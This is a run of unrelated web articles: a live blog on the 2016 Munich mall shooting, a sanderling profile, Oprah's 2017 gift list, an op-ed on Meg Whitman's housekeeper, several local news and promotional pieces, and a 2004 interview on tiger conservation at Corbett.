DUP MLA Carla Lockhart described the borough as a ‘jungle’.
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Posted on July 22, 2016 by Steven Hayward in Terrorism
Breaking: Mass Shooting in Munich Shopping Mall (Updated)
News is breaking in the last few minutes of a mass shooting in a shopping mall in Munich, Germany. Early reports say as many as 10 people were killed, though CNN right now is reporting only one fatality. No word yet on whether a telltale religious slogan was uttered, but stay tuned. We’ll update this post as more details come in. Let’s keep in mind that Germany experienced the Germanwing airlines crazy pilot who crashed an airplane, and also that Germany had a violent radical left faction back in the 1970s and 1980s—the Badermeinhoff gang—who may want back in the game.
AFTERNOON UPDATE: Now they are saying it was the work of a lone gunman, now apparently dead of suicide. Which vindicates this handy news chart:
UPDATE 1: Latest reports are that the shooting is “over,” but not year clear if a shooter has been captured or killed. (Other news sources say the gunman is still at large.) Also, right now the police report one person killed and 10 injured.
UPDATE 2: Reuters now reporting up to 15 people killed. Streetcar and subway service has been suspended; police urging people to get off the street.
UPDATE 3: Rumor time–that there was more than one shooter, and that there may be another shooting taking place at a second location. As with most fast-moving stories, take these reports with a grain of salt.
UPDATE 4: CNN now reporting shooters possibly at three locations, with one still at large. Another report says there were three gunmen at the mall.
UPDATE 5: Dumbest Tweet of the day in response:
Yeah, global gun control. That’s the ticket.
Will Hillary go ahead with her expected VP announcement today, or will she postpone it like Trump did last week?
UPDATE 6: Some reports trickling out now that this is thought to be a “right wing” terror attack. Don’t know how this might be known before suspects arrested/killed/identified, but one witness supposedly heard native German accents spoken by a shooter. A coordinated attack—if it turns out be such—sound more like the Paris attacks than a lone-wolf right wing attack. But it’s the fifth anniversary of Andre Brevik’s mass attack in Norway. Shades of Oklahoma City ’95 if true.
Meanwhile, what a great sense of timing Obama has:
UPDATE 7: The whole scene is very confused at this point. CNN had a woman on the phone who claimed to have been inside the McDonald’s who said the shooter shouted “Allahu akbar,” but the video being looped endlessly shows a person who doesn’t obviously appear to be Middle Eastern, though it’s hard to tell. Could be a false flag provocation? NBC’s Richard Engel points out that so far this incident doesn’t quite fit the usual ISIS modus operandi.
Someone will need to explain why someone was shooting a video of McDonald’s at the very moment the shooting started outside. . .
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Sanderling (Calidris alba) A long-distance migratory shorebird that requires proper food and habitat in multiple places throughout North and South America. © Flickr user Dirk-Jan van Roest (CC by 2.0)
Stories in Kansas
September 2018 Shorebird of the Month
By Robert Penner, PhD, Cheyenne Bottoms and Avian Programs Manager, Kansas
Robert Penner Cheyenne Bottoms and Avian Programs Manager, Kansas
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With an estimated population of 700,000, sanderlings are one of the more common shorebirds in the world but they don't frequent Cheyenne Bottoms. I can go years without recording a single one and then the next year, there can several dozens. But even the high count here in central Kansas—222 in May 2015—is small compared to common Central Flyway migratory species like the American avocet.
Sanderlings are also incredibly widespread. They breed only in the high Arctic (Canada, Greenland, Siberia) in June and July but then disperse to beaches worldwide. They can be found along the coasts of every continent except Antarctica.
Going the distance: sanderlings are one of the longest-distance migratory bird species, annually travelling as many as 15,000 miles round-trip.
Going for speed: sanderlings dart fast along the beach, swooping up invertebrates washed ashore by the waves and then hurrying away before the water comes back.
All alone: non-breeding sanderlings have been known to stay in South America year-round.
Sanderling (Calidris alba) Sanderlings have a very large range, nesting in the Arctic but wintering along both the east and west coasts of most of North and South America. © Robert Penner/TNC
HABITAT & RANGE
Sanderlings migrate between the Canadian Arctic and South American coasts through the Great Plains along the Central Flyway. Look for them in wetlands, reservoirs and playas, generally on sandy or rocky ground.
Low/least concern. Sanderlings don't meet criteria for two primary indicators for concern—total population size and distribution of habitat. But some areas, like New England, are reporting sharp declines for sanderlings.
CHEYENNE BOTTOMS AREA STATUS
Uncommon migrant in both spring (mid-March to early June) and fall (August through mid-October). Look for them in mudflats with no vegetation.
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Rob has worked as The Nature Conservancy’s Cheyenne Bottoms Preserve Manager for 22 years, increasing habitat for migrating shorebirds and nesting grassland birds at the world-renowned wetland.
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Gratitude and hammocks: Oprah’s out with her favorite things
by: Michael King
Posted: Nov 2, 2017 / 10:24 AM EDT / Updated: Nov 2, 2017 / 10:24 AM EDT
NEW YORK (AP) – Oprah Winfrey’s back with her longest holiday gift list ever at 102 of her favorite things.
Ranging in price from free (downloads of her Super Soul Conversations podcast) to $2,000 (for a 55-inch TV that morphs into a painting), Winfrey’s annual list will be featured in the December issue of O, The Oprah Magazine, including discount codes to plug into Amazon or the websites of the companies themselves.
Winfrey’s elves, the magazine’s editor-at-large Gayle King and creative director Adam Glassman, spend much of the year scouting items for the list, with Oprah herself making the final decision on what to include for everyone – men, women, pets and kids – in apparel, tech, home goods, beauty, food and other offerings.
“What Oprah always challenges us to do is to find some new brands, some indie brands, mom-and-pop kind of brands. We always have a fabulous mix of tried and true, and big people, but we also like to infiltrate new brands and also brands made in the USA,” Glassman told The Associated Press in a recent interview.
Starting Thursday, items on the list are available at Amazon.com/Oprah. A look at a few of Oprah’s favorite things for 2017:
GRATITUDE GLASS JAR: These handblown jars on a pedestal base have wooden lids and come with 365 bronze-foil adorned cards for families to log the things they truly appreciate. $45.
LOUVELLE SHOWER TURBAN: Made of quick-dry fabric with a waterproof lining, these turban-style shower caps come in fun patterns and colors to make that blowout last. Oh, and there’s an adjustable knot for just the right fit. $40.
EMI JAY SMOOSH SHIRTS AND PANTS: If she could, Oprah would live in these ultra-soft but slightly structured sweat pants and shirts that come in light pink, gray and black, with an adjustable tie at the loose turtleneck. Shirts, $136. Pants, $132.
HONEY CAN DO HERB PRESERVER: Oprah grows a lot of her own herbs but often has the same problem as the rest of us: They quickly go yucky. Add a little water at the bottom of this glass jar, seal and keep herbs fresh for up to two weeks. $20.
SMART NORA SNORE SOLUTION: Give the gift of a snore solution that doesn’t involve mouth guards, nose strips or straps. It DOES involve a little Bluetooth-enabled, egg-shaped device that sits on a nightstand and is triggered by the snore. It then gently and slowly pumps up an inflatable pillow insert tucked into a pillowcase to shift the culprit’s sleeping position and lessen the noise. $299.
EMU AUSTRALIA MAYBERRY SHEEPSKIN SLIPPERS: With a sturdy lug sole, these fuzzy slides come in bright pink, blue and orange. Oprah was a bit skeptical at first, Glassman said. “She said, really? I think my, like, Aunt Estelle used to wear those.” They’re not unlike furry footwear found on runways and in the streets of New York and Paris, he noted. $60.
FIVE POUNDS OF FRESH BLUEBERRIES: Wild blueberries frozen and shipped in a cardboard box within 24 hours of harvest from Josh Pond Farm in Whiting, Maine, near the northeast coast. Little secret: The farm is owned by TV exec Lorne Michaels, Glassman said. $50.
KATZ’S DELI DINNER FOR FOUR: The famed New York City deli will ship matzo ball soup, pastrami, corned beef, mustard, rye bread, knishes, pickles and chocolate or cinnamon babka to your chosen people. “I grew up going to Katz’s. My parents grew up on the Lower East Side,” Glassman said. “Nobody makes pastrami better.” $125.
MODEL BAKERY ENGLISH MUFFINS: Due to Oprah’s obsession with these muffins, they’re back for a second year, Glassman said. She even travels with them and brought a batch to the set of “A Wrinkle in Time” in New Zealand for cast and crew to enjoy. The artisanal darlings from this small Napa bakery come in a set with six original and six spelt. $35.
CASA DRAGONES JOVEN SIPPING TEQUILA: Oprah likes her tequila. This bottle for sipping is made by a woman-owned, small-batch distillery in Mexico and is her go-to. It’s a blend of silver and extra-aged tequila. The sipping bottle is pricy at $285. Oprah’s also offering a tequila blanco at $75 for mixing into cocktails.
YELLOW LEAF HAMMOCKS: Oprah once bought a house because it had a hammock hanging in the yard, Glassman said. These classic doubles are made in Thailand by artisan weavers. “When she stopped doing the daily talk show everyone was like, what are you gonna do and she goes I’m just gonna be laying in my hammock reading a book,” Glassman said. “That lasted about two days.” $199.
THE ECHO SHOW: Alexa has gone video. There’s a built-in screen to show content of all kinds, from Amazon, YouTube, even your own security cameras. Ask her to pull up photos and shopping lists. $230.
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What if Meg's Maid Looked Like This?
Published Oct 4, 2010 at 12:37 PM | Updated at 1:27 PM PDT on Mar 23, 2015
Here’s my politically incorrect thought of the day: Are critics of Meg Whitman’s employment of an undocumented immigrant as her housekeeper of nine years trading in ethnic stereotypes?
Before you scream, stay with me for a couple minutes and consider the following mental exercise.
Whitman, her critics say, should have known that she was employing an undocumented immigrant. There’s even talk (which Whitman foolishly encouraged) that she should take a lie detector test about whether she had suspicions.
But why should she have known? Diaz Santillan was hired through an agency. She submitted paperwork that showed her to be in the country legally. Much has been made of a Social Security administration letter about a paperwork discrepancy that appears to have reached Whitman and her husband. But the letter made no judgment about Diaz Santillan’s legal status, and didn’t seem to make an impression on Whitman.
It’s perfectly reasonable to believe that Whitman and her husband, who did far more to check out their housekeeper than most Californians do with domestic workers, didn’t know their housekeeper was undocumented. So why have her critics been able to make such hay and suggest she should have known?
I hate to be the one to say it, but here goes: The unspoken suggestion underlying criticism of Whitman is that she should have had doubts about her housekeeper because she was Mexican.
Does that seem outrageous? Well, think about this question. What if Nicky Diaz Santillan wasn’t brown-skinned? What if she wasn’t Mexican at all? Heck, what if she was an immigrant with phony papers (as Diaz Santillan was) but looked like Elin Nordegren, the blue-eye, blonde Swedish nanny who became Mrs. Tiger Woods?
Whitman Vs. Maid Take Two
A second day story about Meg Whitman's former housekeeper stirred the political fire.
(Published Thursday, Sept. 30, 2010)
I would submit that Whitman simply wouldn’t be in the pickle she is in – or at least she would be in a very different pickle – if she had hired an undocumented Swede and former underwear model. (Now, there’s a story that TV would have loved even more than this one!)
Would Whitman’s critics be so quick to suggest she must have known? Or would there be more understanding if Whitman were fooled by someone who didn’t fit the stereotype of the undocumented immigrant?
It says here: At some level, Whitman’s critics – particularly those on the right (who want her locked up for employing an illegal) but also some on the left -- are suggesting she should have harbored – and acted upon – suspicions that would have been based on ethnicity and national origin.
And they’re appealing to a prevailing bias that there’s something not quite acceptable -- not quite American -- about Mexicans.
OK, now that I’ve detonated this stink bomb in the middle of this messy controversy, debate amongst yourselves.
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Carson High School’s Jayden DeJoseph signs with William Jessup
Sports | May 24, 2017
Darrell Moody
dmoody@nevadaappeal.com
Jayden DeJoseph signed a national letter of intent with William Jessup University.
Jayden DeJoseph became the second Carson High basketball player to sign a national letter of intent with a four-year college.
DeJoseph, a 6-foot-5 forward, announced he’s attending William Jessup University, a Division 1 NAIA school near Sacramento next season.
Earlier this year, longtime friend and teammate Tez Allen signed with Division II Southern Oregon University.
DeJoseph chose William Jessup over Bellevue, a Division II NAIA school in Nebraska, Pima College in Arizona, and Umpqua Community College in Oregon.
Proximity to Nevada is the main reason why DeJoseph chose William Jessup.
“One thing I liked is that it’s far enough to get away from home and close enough I can go home for a weekend if needed,” he said. “I didn’t want to have to go all the way to Nebraska. That is a two-day drive (or a long plane ride).
“The campus is really nice. All the buildings are only 10 years old; pretty new. The gym is new and really nice. The old gym was pretty raggedy. The dorms are pretty nice.”
Carson coach Carlos Mendeguia liked DeJoseph’s choice.
“It’s a good fit for him,” the CHS coach said. “I think he is somebody who can go in and produce right away.
“It’s also close to home, so parents and family can come watch him play. It’s also close enough that he can go home for a visit if he gets homesick. The first year of college is always hard. It’s a great athletic and academic place for Jayden.”
DeJoseph, a double-figure scorer in his last two varsity seasons, has the ability to light up the scoreboard from long range. In his career at Carson, he always liked shooting from 3-point range.
“We heard about Jayden through the AAU circuit,” said Brad Rogers, WJU assistant coach. “We heard a lot of good things, and Jayden had the things we were looking for. We are looking for somebody who has the ability to knock down seven or eight 3s a game; a guy who can put the ball in the basket.
“He’s 6-5 with a good body for a freshman who can rebound and play inside or outside. I think he’ll be able to defend most positions certainly a 2 or 3 and maybe even a 4.”
DeJoseph, according to Rogers, is likely to redshirt his first season at WJU.
“We are looking at red-shirting him this year,” Rogers said. “It will allow him to get acclimated to college life and our program, and to get bigger. After watching him, we’ll be able to put him in a position to use his strengths.”
“They redshirt a lot of players,” DeJoseph said. “I remember playing against three or four redshirts when I visited there. It gives me another year of paid education, and I might be able to get my master’s in five years.”
DeJoseph said he would spend his first year getting stronger; working in the weightroom as well as improving his lateral movement which he will need if he’s expected to defend against shooting guards and small forwards.
DeJoseph said he wants to go into education and eventually teach, and he’s even considered being a coach. He helped Doug Whisler with the middle school boys and girls programs this season.
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Fallon baseball all-stars travel to Reno for state tournament
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Forever United: Limited Edition Gatefold Vinyl + Signed Photocard
Release Date 17 August 2018
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This is DORO's 20th album - and it's arriving just in time for her 35th live stage anniversary! And yet it's not just these two great anniversaries that make ‘Forever Warriors, Forever United’ a truly extraordinary album. It's also not just the fact that the metal queen is releasing her very first double album.No, ‘Forever Warriors, Forever United’ is so special because DORO presents 25 (!) brand new hot tracks that all have one thing in common; an incredible variety and stylistic range, paired with the highest quality.
On ‘Forever Warriors, Forever United’, DORO delivers a musical firecracker from stadium anthems to ballads, from heavy metal to classical. And: ‘Forever Warriors, Forever United’ is also more than just a double album – it’s actually two new DORO albums in one! On ‘Forever Warriors’, DORO presents herself as a wild warrior. Listen to the tracks 'Bastardos', 'Blood', 'Sweat And Rock'n'Roll' or the first single 'All For Metal'. In this ultimate metal anthem, icons such as Mille of KREATOR, Chuck Billy, SABATON and the late Warrel Dane have contributed to the song as well as to the video.Doro explains: "To be honest, this song could become a new 'All We Are'! The idea came to my mind last year at Wacken Open Air, where we also instantly started working on it."
On August 3rd 2018, this will come full circle: DORO will present the new album live in front of 80,000 heavy metal maniacs from around the world in a fantastic headliner show at Wacken Open Air! And to celebrate her 35th live stage anniversary, a bunch of legendary guest stars will pay tribute to the blonde metal angel.Speaking of guests; "I'm thrilled that two amazing guest musicians are playing guitar on the new album," says DORO; guitarist Doug Aldrich (WHITESNAKE, DIO, DEAD DAISIES) and former WARLOCK guitarist Tommy Bolan, who also contributed to the highly acclaimed album ‘Triumph And Agony’ in 1987.
Doro; "Doug was immediately on fire when he became a part of this album and contributed an insane solo. And Tommy is a good, old friend of all WARLOCK and DORO fans anyway. He's a beast on stage and a true powerhouse in the studio. " Speaking of beasts, prepare yourself for 'If I Can't Have You, No One Will', the duet with AMON AMARTH bellower Johan Hegg.You have never heard DORO like this before! ‘Forever United’ captivates with the emotional side of DORO, which of course focuses on topics such as friendship and love such as the Lemmy-inspired anthem 'Living Life To The Fullest', 'Heartbroken' and 'It Cuts So Deep'. "We have toured very intensively over the past few years, gathering so many impressions along the way and meeting so many great people. That really inspired me," explains DORO. The kick-off to this unique songwriting marathon was the track 'Living Life To The Fullest' in January 2016. DORO: "I was on the plane on my way to Lemmy's funeral, when the melody and the lyrics came to my mind. Lemmy was always incredibly important to me." The album includes the MOTÖRHEAD cover 'Lost In The Ozone', in honour of Lemmy, as well as 'Don't Break My Heart Again', an outstanding cover version of the WHITESNAKE hit. Doro: "I have a very deep personal connection to 'Lost in The Ozone' and WHITESNAKE have always been one of my absolute favorites. That's also why my first ever band was called SNAKEBITE!"
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Bristol blood drive honors twin sisters thriving after premature birth
Donated blood helped save one sister after rare twin-to-twin transfusion syndrome
The Hospital of Central Connecticut (HOCC) and Bristol Firefighters Local 773 will continue to honor twin sisters Cameron and Olivia Plourde by hosting a blood drive on Thursday, June 8, from 8 a.m. to 6 p.m. at the Hillside Community Church in Bristol.
Looking now, it’s hard to imagine Olivia and Cameron Plourde once weighed less than 3 pounds each at birth. Today, the nearly 3-year-old twin sisters are healthy, happy, and continue to grow, thanks in part to generous blood donors and the life-saving care provided at the Hospital of Central Connecticut.
The twins were born 11 weeks premature to parents Adrienne and Brian Plourde. At HOCC, Cameron and Olivia were found to be suffering from twin-to-twin transfusion syndrome. Olivia received double the amount of blood and nutrients needed for growth, while her sister, Cameron, was born severely anemic. Both were born in critical condition. Cameron needed an emergency blood transfusion and Olivia was given saline to thin her blood so oxygen could reach her organs. Blood for Cameron’s transfusion came from HOCC’s blood bank via donations. The babies spent 57 days in the hospital’s Newborn Intensive Care Unit.
“We are so thrilled to serve as a co-sponsor for the blood drive in honor of the Plourde girls,” says HOCC neonatologist Dr. Annmarie Golioto, chief of Pediatrics, and one of the twins’ caregivers at the hospital. “The generosity of our donors allows us to continue our life-saving work for other patients.”
To honor Cameron and Olivia, the Hospital of Central Connecticut and Bristol Firefighters Local 773 once again invite the community to give blood to help ensure blood is available for all patients in need, like it was for Cameron. Parents Brian and Adrienne are both Bristol Firefighters. “We don’t take things for granted as much as we used to,” said Brian Plourde. “We knew that we were creating life and going to be parents, but we didn’t know how fragile and blessed the experience would be.”
Blood Drive in Honor of Cameron and Olivia Plourde
Thursday, June 8th
Hillside Community Church
435 Broad Street, Bristol
To make an appointment, download the Blood Donor App, visit redcrossblood.org or call 1-800-RED-CROSS.
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The Best of Relativity Fest: Our Favorite Quotes from the Speakers
by David Horrigan on October 12, 2016
Community , Law Firm , Legal & Industry Education , Litigation Support
Relativity Fest 2016 drew to a close yesterday, and it was packed with memorable moments. To highlight them, we continue the tradition we started with Legaltech New York and ILTACON and bring you some of our favorite quotes.
With more than 1,800 attendees attending hundreds of educational sessions, it’s difficult to include every great quote from the annual conference.
However, here are a few of the notable ones.
Meribeth Banaschik
US attorney/UK soliticitor, Noerr LLP Duesseldorf (and native Texan), on international privacy sentiments:
“Europeans’ feelings about data privacy rights are similar to Americans’ feelings about gun rights.”
To which a fellow panelist responded …
Senior counsel, Seyfarth Shaw LLP (and native New Yorker)
“… in Texas.”
Monica Bay
Fellow, Stanford Law Codex, to lawyers:
“Technology is inevitable—I don’t care how much you don’t like it.”
and at the Women’s e-Discovery Luncheon:
“Going to law school was the best decision I’ve ever made—besides not marrying my fiancé.”
Barclay Blair
Executive director and founder, Information Governance Initiative (IGI), on today’s economic landscape:
“Data is the new oil.”
Bennett Borden
Chief data scientist and chair of Information Governance Group, Drinker Biddle & Reath LLP, on privacy:
“There’s no such thing as privacy—that war has been lost.”
Bryon Bratcher
Director of practice support, Reed Smith LLP, winner of a 2016 Relativity Innovation Award, on the platform:
“Relativity is like a Swiss Army knife—you can use it to do many different things.”
Chris Dale
Founder, eDisclosure Information Project, discussing Brexit:
“There’s a Frank Underwood quotation that applies to Brexit: ‘It’s one thing to go down with the ship; it is quite another to insist the Titanic is a submarine and that everything will be fine.’”
Exasperated Relativity Fest Obstacle Course Race (OCR) Challenge Participant
When asked to name what the two stages of Relativity Processing were:
“Um … before and after.”
Judge Nora Barry Fischer
U.S. District Judge, (W.D. Pa.), when I asked her what she would do if a litigant such as the one in Arrowhead v. Seven Arts blamed his deficient e-discovery production on the “girls” in his office:
“This girl would have a dialogue with that attorney—and then some.”
Karyn Harty
Partner, McCann FitzGerald, on her work on Ireland’s landmark Quinn technology-assisted review (TAR) case:
“I had to put my neck on the block to get TAR approved, but that's how you make new law.”
Ed McAndrew
Partner at Ballard Spahr LLP and former U.S. Department of Justice Cybercrime Coordinator, discussing internet safety:
“From a cybersecurity and public health perspective, it’s important to stay away from adult entertainment sites—your computer may get diseases.”
and on controversies on the scope of government data demands:
“The U.S. government would say it’s a targeted collection—it just happens to be targeting all the data.”
Judge Andrew Peck
U.S. District Judge (S.D.N.Y.), on the Ask the Judges program for the Annual Judicial Panel:
“I think it’s a great idea; we should discuss topics people want to hear—instead of what we think they should hear.”
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MGM poll: Don't build a taxpayer-funded stadium, expand the convention authority
by Jon Ralston 03/23/2016 | 0 comments
On the eve of the latest battle between Las Vegas Sands and MGM Resorts (and other gamers) over whether to expand the convention center or build a stadium (to house the Raiders?), MGM is poised to release a poll that bolsters its case. The polling memo, which you can see below, is being released a day before the meeting of the Southern Nevada Tourism Infrastructure Committee, which will consider the Sands proposal. The findings distilled:
Oceguera found Flores with lead, his own path to victory but no money to fund it
Ex-Speaker John Oceguera's announcement Wednesday that he would not file for Congress may not be especially surprising, considering he had no natural base and slim dollars compared to state Sen. Ruben Kihuen and education activist Susie Lee.
Musk, Rive invite lawmakers to private briefing on energy at Tesla gigafactory with The Revenant as special guest
Tesla CEO Elon Musk and his cousin, SolarCity chief Lyndon Rive, hosted a small group of lawmakers at the Northern Nevada gigafactory on Wednesday evening to talk about unlocking the power of renewables in Nevada.
Senate Dems attack GOP candidate for not speaking about taxes; she responds by....having someone else speak
I admit it: I was going to ignore the stunt news conference by state Senate Minority Leader Aaron Ford and -- cue the laugh track -- "concerned residents" about how GOP hopeful Heidi Gansert would not speak about last session's tax increase.
Here's how one GOP local makes endorsements
If you are willing to sign an inane, Norquistian no-tax pledge, an even more superficial and nutty "Contract with Nevada" and if you are "willing to explain to a parent that they must return a free laptop if the computer had been found to be ineffective for learning," you, too, could be endorsed by the Republican Party in Nevada's capital. Please note: This is not a parody.
Culinary goes hard after Lee on behalf of Kihuen in CD4 primary
Saying community activist Susie Lee is "part of the wealthy elite" and is "trying to purchase" Cresent Hardy's congressional seat, the Culinary Union has penned a letter to its labor brethren to try to help state Sen. Ruben Kihuen. The letter, which is below and penned by Secretary-Treasurer Geoconda Arguello-Kline in advance of the AFL-CIO convention, says quite simply of Lee, "We can't let her buy this primary."
Washoe GOP chairman, officers to resign
Washoe County Republican Chairman Adam Khan, the brash, young leader who twice predicted on "Ralston Live" that Donald Trump would lose Nevada, has announced he will resign after next month's state convention. Khan, 24, announced his departure late Wednesday, along with other party officers. He had been outspoken as recently as Feb. 4 on "Ralston Live" that Trump simply did not have the ground game to win here.
Cortez Masto to go up on TV
Democratic U.S. Senate contender Catherine Cortez Masto has made a six-figure buy in Nevada that begins Wednesday with a bio ad designed to introduce her to voters. In the one-minute spot, she emphasizes her large family, including her father, who is identified as being from Mexican heritage and heading the Las Vegas tourism efforts (he ran the convention authority) but who was best known as a Clark County commissioner (not mentioned). Her efforts to fight sex trafficking also are mentioned, as well as endorsements from family members.
Romney in 2012: Getting endorsed by Trump is just like getting endorsed by....Christie
On Feb. 3, 2012, an hour before he and his wife, Ann, stood on stage uncomfortably at Trump Tower while the eponymous owner endorsed him, Mitt Romney gave me an interview for my television program at a nearby hotel. During the interview, I asked Romney why he would take an endorsement from Trump, who had been espousing birtherism and had criticized the former Massachusetts governor. The transcript is below, but my favorite part, in light of last week's Chris Christie genuflection to Teflon Don, is this part:
Faraday Future agrees to huge bond, escrow account to guarantee Apex infrastructure
Faraday Future, the electric car startup moving to North Las Vegas, has agreed to acquire a $75 million bond and to fund a $13 million escrow account to guarantee the infrastructure needed for Apex to be a viable site for its billion-dollar facility, thus reducing the state's overall liability for the project.
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Simple but intelligent—the smartphone for beginners
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Home People Interviews Meet Dilip Khatau
Meet Dilip Khatau
Dilip Khatau is a globe trotter whose heart has never quite moved away from India. His ancestral home is Kutchh and his almost singular purpose in life today is to help save the tiger by working together with NGOs, government officials, local communities and the corporate sector. He met Bittu Sahgal at the Corbett Tiger Reserve on the occasion of the 10th anniversary of The Corbett Foundation. Khatau believes that Panthera tigris will survive, provided its defenders keep their nose to the ground and their shoulders to the wheel.
The elections are just over. Has the tiger won or lost?
The tiger is a survivor. No single election can determine its survival or demise. But from the point of view of Uttaranchal and the Corbett Tiger Reserve, the results are positive. In the coming days, you will see The Corbett Foundation work with the State and Central Governments to drive home the connection between protecting the tiger’s forests and the water security of Uttaranchal and Uttar Pradesh.
What is it about Corbett that seems to have you and thousands of others in its grip?
Everything. The mahseer in the Ramganga and Kosi rivers. The elephants, tigers and deep sal forests. The cold. The heat. The birdsong. Everything. The hills of Kumaon and Garhwal have the power to repair even the most wounded psyche. Speaking for myself, over the years, the people and enduring cultures of Uttaranchal have held me in their grasp and I hope never to escape.
You were once a dyed-in-the-wool playboy. When did the tiger take over your life?
I really don’t know. It just happened. I did once live the high life on virtually every continent and would not change that part of my life for the world. But the high life for me now means sitting on the deck of my home in Corbett, listening to elephants trumpeting across the Kosi. I had read all of Jim Corbett’s stories and spent my youth camping in the Kumaon, the locale of his gripping tales. I was a hunter too, but totally supported the 1970 ban on tiger shikar. Back then I was just a spectator. I only began to actively protect tigers a decade ago when I started The Corbett Foundation.
And you suggest that the tiger will outlast prophets of doom. Is this realism or bravado?
I have lived long enough to recognise mood swings. The 90s were black days for the tiger. After initial success with Project Tiger, we lost huge tracts of tiger habitats. International poaching gangs infiltrated our defences. Tiger numbers fell from 4,000 (in the 80s) to around 2,000. But in recent days, a discernible swing is visible. Politicians may not work for the tiger, but they don’t speak publicly against it either. And our courts are pro-active about defending tiger forests. The cat still faces terrible threats but it’s a wily animal that has a knack of making a comeback given half a chance.
Did you ever think the tiger was a lost cause?
In the late 60s, I believed nothing could save the tiger. I loved the wilds then, but was not at the forefront of nature conservation. I was then cynical, bordering on apathetic. I changed my mind when Project Tiger demonstrated what could be done by collective national effort. What is more, I saw just how quickly nature was able to put back together the forests we so foolishly destroyed.
To what do you attribute Project Tiger’s relative success?
The Wildlife (Protection) Act, 1972 and the political will to implement it. And, of course, the all-crucial Forest (Conservation) Act 1980, which passed the Parliamentary gauntlet because people like Dr. Karan Singh and Kailash Sankhala convinced Prime Minister Indira Gandhi that without forests, wild tigers had no future. Clearly all this would be of little use without the dedication of people like Digvijaysingh Khati, Field Director of Corbett, and his field staff.
You and I just returned from Bangajhala and Powalgarh in the Ramnagar Forest Division – Jim Corbett's haunts. We saw how roads are causing deforestation and siltation into the Kosi river. Is the tiger losing out on past gains?
It’s a real worry. Half of all the tiger habitats –150,000 sq. km. – have vanished in the past 30 years, including a huge chunk of the Corbett Tiger Reserve itself, under the Kalagarh Dam. We are resisting roads in critical tiger habitats around Corbett, but we believe more is to be gained by constructive engagement than confrontation; for instance by looking for less damaging alternative routes. Uttaranchal is, after all, a new state with over 60 per cent of its land area under forest cover. When its people are told that the tiger provides them with water, they ask whether it can also provide them with jobs and cash. Some rowdies recently burned effigies of Corbett Foundation Trustees because we opposed roads in the tiger reserve! But by and large Uttaranchalis are extremely proud of their natural heritage. We will turn this to the tiger’s advantage.
Photo: N.C. Dhingra.
By working with women and children in villages to win their support and participation in solving their most pressing problem – water. You yourself have promised to help us do this through Kids for Tigers, the Sanctuary Complan Tiger Programme in Ramnagar. As of now, together with the Forest Department, we are involving people in small projects to restore soil and moisture regimes. This will provide some jobs in the short term and water and soil fertility in the long run.
Is there real hope of getting long-term support from communities for whom one tomorrow is an eternity?
Of course there is, Bittu. The Corbett Foundation works in 50 villages that ring the tiger reserve. We hold regular baithaks (sittings) and we speak to them about their problems – health, education and women’s rights. Our doctors visit every village to treat and medicate. These doctors talk to locals about tigers and forests and water for wells and farms. It’s a slow process. But we are constants in peoples’ lives. Even in changing political circumstances they know we are on their side.
Can we switch to tourism? You own the Infinity Resort in Dhikuli. But tourist lodges block elephant corridors between Corbett and Ramnagar.
There can be no denying this. But do remember that when we built our lodge a decade ago, we ourselves did not block any elephant corridor. And even our worst critics today acknowledge that we have been good neighbours to both wildlife and local villagers. The elephant corridor problem began when Corbett’s popularity began to attract quick money seekers. They set up ‘wall-to-wall’ lodges to our left and right on the banks of the Kosi using permissions from pliant Gram Pradhans who should have known better. Successive Field Directors of the Corbett Tiger Reserve raised concerns, but because these were on revenue lands they could not stop the proliferation of lodges. But we are working on plans to carve out new routes for elephants at vulnerable points. In this, we need the help of district officials.
What about the type of tourism being promoted. Don’t you think that it is too tiger-centric?
The tiger is such a powerful animal that to some extent this is probably inevitable. But I agree with you. We need to orient visitors to see more. Experience more. As Bikram Grewal of Delhibird keeps pointing out, Corbett is probably one of the world’s best birding destinations. Not many people know that the Corbett Tiger Reserve bird count is higher than that of Bharatpur’s Keoladeo Ghana! When birders from the UK, Europe and the USA start coming to Corbett, the balance will automatically shift away from the tiger.
But do we have trained guides who can tell one bird from another?
Not enough, but we are getting there. Delhibird is going to impart birdwatching training to 75 tourist guides in Corbett. By the way most of them are from Ramnagar and earn between 40 and 60,000 rupees each year. Working with wildlife officials we will turn such guides into ambassadors for wildlife conservation in the months ahead.
There is the other accusation; that tourism does nothing for locals.
I can only speak for our own facility. We believe we have given back more to the local economy than we have taken from it. Not merely in cash, but by way of medical, health and education programmes. You saw this yourself yesterday when you met 30 Gram Pradhans during The Corbett Foundation baithak.
That's true. I also saw that many Gram Pradhans were women who were more articulate than the men! But I noticed that they wanted to be paid to help put out fires in the park. Are you making any headway with winning their support for wildlife protection?
We are, but not by far enough, or fast enough. Gyan Sarin who heads The Corbett Foundation, says that women tend to listen more carefully and they follow through on most promises and agreements. Fuel wood and fodder outside the park has been so over-exploited that people are now facing resource deprivation. So they look to the park for their biomass needs. When prevented they respond angrily, sometimes actually setting the fires. It is a tough situation, but the truth is that all of us working for wildlife are guilty of spending too little time and energy on solving problems for ordinary people. It’s not just crop raiding, or even human-animal conflicts, people are alienated because they are constantly accused of being the problem itself. The Corbett Foundation works on the assumption that they are potentially a part of the solution.
And who are your allies in this mission?
I am happy to say that the list is too long to reproduce here. But clearly the principal ally is the Uttaranchal Forest Department. And Brijendra Singh, whose life has been devoted to Corbett, is a guiding light for us. So are people like Dr. M.K. Ranjitsinh, who has played such a major role in protecting the tiger in the decades gone by. The WWF-India’s Terai Arc team is working with us to secure forest corridors. There are so many more.
What drives you? Is there a master key to the seemingly implacable conservation issues confronting India?
I am driven by the belief that somehow nature will find a way to repair itself. Our job is to allow it to do so. We have serious problems to tackle in the days ahead, ranging from climate change and deforestation to the protection of endangered species like the tiger and all the wildlife associated with it. In this, the 30th year of Project Tiger, I believe the key to good governance is to teach young people to understand, defend, and even worship nature’s monuments – mountains, rivers, forests, grasslands, deserts and coasts. There can be no better way for them to express their love for their country, or to add meaning to their own lives.
To support The Corbett Foundation, contact:
Gyan Sarin, The Corbett Foundation,
405, International Trade Tower, Nehru Place,
New Delhi - 110 019. Tel.: +91 011 5160 8505. Fax: 5160 8506. < This e-mail address is being protected from spambots. You need JavaScript enabled to view it >
www.corbettfoundation.org
First published in: Sanctuary Asia, Vol XXIV No. 3, June 2004.
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Video Voyeur: The Susan Wilson Story
